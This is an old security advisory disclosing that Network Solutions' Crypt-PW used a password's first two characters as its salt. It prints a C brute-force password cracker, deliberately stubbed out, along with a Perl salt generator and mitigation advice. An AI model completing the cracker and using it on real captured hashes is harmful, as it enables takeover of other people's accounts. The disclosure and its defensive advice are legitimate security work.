COMMAND

    Crypt-PW

SYSTEMS AFFECTED

    Network Solutions Crypt-PW

PROBLEM

    Peter Ajamian found following. While crypt password authentication
    is not in and of  itself very secure, Network Sulotions  have made
    it  even  less  so  by  including  the first two characters of the
    password as the  salt of the  encrypted form.   While the password
    is  transmitted  via  a  secure  session,  the  encrypted  form is
    returned almost immediately in a non-encrypted www session.  Also,
    this password is typically emailed  back and forth to the  user no
    less than two times (and  often times more).  This  allows several
    opportunities for someone to observe the encrypted password,  this
    in and of itself is not good.

    Discovering the original password from the encrypted form is  made
    magnitudes easier by the inclusion of the first two characters  of
    the password in the salt (proof of concept code follows at the end
    of this message).  Using the  proof of concept code I was  able to
    derive my own  six character password  in less than  one minute on
    an old Pentium 200 MMX computer.  A new 1ghz computer could easily
    crank out 6 char passwords in mere seconds, 8 char passwords in  a
    few hours, and a  10 char password probably  in a week to  a month
    or better.

    So far  we have  established the  relative ease  of obtaining  the
    encrypted  form  of  the  password  and  ease  of  converting that
    encryption back  to the  original password.   The rest  should  be
    horrifyingly clear.

    Proof of concept code (purposefully broken):

    /*
     * This is for cracking Network Solutions passwords.  This assumes the
     * following...
     * 1.  The salt is the first two chars of the password (this is the
     *	standard gotcha for Network Solutions usage of crypt()).
     * 2.  If the first character of the salt is lowercase than the password
     *	is all lowercase
     * 3.  If the first character of the salt is uppercase ... well you get
     *	the idea.
     * 4.  If the first character of the salt a digit ...
     * 5.  There are no symbols in the password.
     * 6.  The password is between three and ten characters in length.
     *
     * These are a lot of assumptions to make, but this is just proof of
     * concept code.  It is assumed that if the password uses a dictionary
     * word then knowledge of the first two letters (which Network Solutions
     * places right in the salt) will greatly speed up the process of
     * cracking.  This code does not use a dictionary, but code is widely
     * available which does and could easily be modified to take advantage
     * of the two character "head start" that Network Solutions gives you.
     *
     * This program and all code contained herein is copyright 2001 by Peter
     * Ajamian.
     */

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <ctype.h>

    /* Crypt function needs to be prototyped, a wierd behavior of the library
    */
    char *crypt(const char *key, const char *salt);

    /*
     * PWDCHECK() compares a plain-text password to its encrypted form.
     * it returns 0 if the passwords match and non-zero if the passwords
     * do not match.
     *
     * plain        = The plain-text password.
     * encr         = The encrypted password.
     */
    /* !FIXME! */
    #define PWDCHECK(plain,encr) (1)

    /*
     * These are globals for greater efficiency.  Because chkpass is called
     * recursively it is not very worthwhile to be making multiple copies of
     * these and passing them millions of times all over the place.  This
     * should save a large amount of CPU time.
     */
    char *c_pass, pass[11], lbound, rbound;
    int len;

    void chkpass(int current)
    {
      /*
       * Yes, this generates an extra copy of c, but considering how much it's
       * referenced it should probably be kept in a CPU register and should save
       * CPU cycles this way (here's hoping that the register keyword works).
       */
      register char c;

      if (current >= len)
        for (c = lbound; c <= rbound; c++) {
          pass[current] = c;
          if (!PWDCHECK(pass, c_pass)) {
            printf("Found password: %s\n", pass);
            exit(EXIT_SUCCESS);
          }
        }

      else
        for (c = lbound; c <= rbound; c++){
          pass[current] = c;
          chkpass(current + 1);
        }
    }

    int main(int argc, char **argv)
    {
      if (argc != 2) {
        puts("Usage: pwdtest crypt-pass\n");
        return EXIT_FAILURE;
      }

      argv++;

      strncpy(pass, *argv, 2);

      if (isdigit(*pass)) {
        lbound = '0';
        rbound = '9';

      } else if (islower(*pass)) {
        lbound = 'a';
        rbound = 'z';

      } else if (isupper(*pass)) {
        lbound = 'A';
        rbound = 'Z';

      } else {
        puts("First char of passwd must be alphnumeric.\n");
        return EXIT_FAILURE;
      }

      c_pass = *argv;

      for (len = 2; len < 10; len++) {
        pass[len + 1] = 0;
        chkpass(2);
      }

      puts("Unable to find a password match.\n");
      return EXIT_FAILURE;
    }

    Note that we are facing the same (?) problems as we had in past:

        http://oliver.efri.hr/~crv/security/bugs/Others/crypt-pw.html

    For those interested here  is perl program to  generate Crypt-PW's
    with a propper salt.

    #!/usr/bin/perl
    
    $salt=salt();
    print "password encryptee, [CTRL]-D quits.\n";
    while (<STDIN>) {
    chop;
    $text=crypt($_,$salt);
    print $text."\n";
    }
    
    sub salt {
      local($salt);
      local($i, $rand);
      local(@itoa64) = ( 0 .. 9, a .. z, A .. Z ); # 0 .. 63   # to64
      for ($i = 0; $i < 8; $i++) {
        srand(time + $rand + $$);
        $rand  = rand(25*29*17 + $rand);
        $salt .= $itoa64[$rand & $#itoa64];
      }
      return $salt;
    }

SOLUTION

    Network Solutions was notified of the problem on May 17, 2001  and
    they  are  looking  into  the  severity  of the problem as well as
    possible solutions.

    If  you  must  use  CRYPT-PW  then  the  following suggestions are
    recommended:
    - Password should be at least 10 characters in length  (Pointless,
      as the algorithm will only look at 8 characters.)
    - The  password should  contain a  combination of  upper and lower
      case as well as numbers and preferably some other symbols.
    - Do not use any  dictionary words, proper names, or  other easily
      recognizable  character  sequences  or  forms  of  them  in your
      password.
    - The first two characters of your password should be _completely_
      unrelated to the rest of the password and should not provide any
      hints as to what the balance of the password may be.
    - If  you  have  access  to  and  know  how to use your own  crypt
      generating program  you should  be able  to substitute  your own
      encryption for that provided  by Network Solutions on  the form.
      If you can do this it is recommended that you use a random  salt
      to generate your password or  at least one that is  unrelated to
      the  password  itself  (not  tested  to see if Network Solutions
      would accept such a substitution of passwords on thier form  but
      the method by which the  scheme is implemented suggests that  it
      should work)  (note if  you try  this you  may have  to convince
      Network Solutions  phone reps  to try  the password  even though
      the first two characters don't match when you give the  password
      over the phone).

    There are some additional  concerns about their Crypt-PW  solution
    according to Jan Kohl:
    1) Even though Crypt-PW  is supposedly a replacement  for MAIL-TO,
       you still must have a valid email address to use  Crypt-PW...so
       what IS the point of having Crypt-PW?  (Especially as it's  not
       secure)
    2) If you do NOT have a valid email address (i.e. dropped account,
       ect)  NS  emails  the  completed  forms  (with  the entire Auth
       password) to the address anyway.  If, especially in the case of
       some  ISPs,  they  have  'reused'  the  login after an extended
       amount  of  time,  they've  just  emailed  someone  else   your
       encrypted password for your domain.   If not, it's going to  go
       into  the  admin  no-relay  logs,  leaving  it open to abuse by
       someone with access to  the mail host.   And, not to leave  out
       Peter's mention of the fact that they are sending the cleartext
       mail (with the password) where anyone can view it.

    Workarounds...do NOT use Crypt-PW as an authentication, and insure
    that you change your  domain records *before* losing  the account,
    as Crypt-PW will not allow you to access or change records if  you
    do not still own the email address.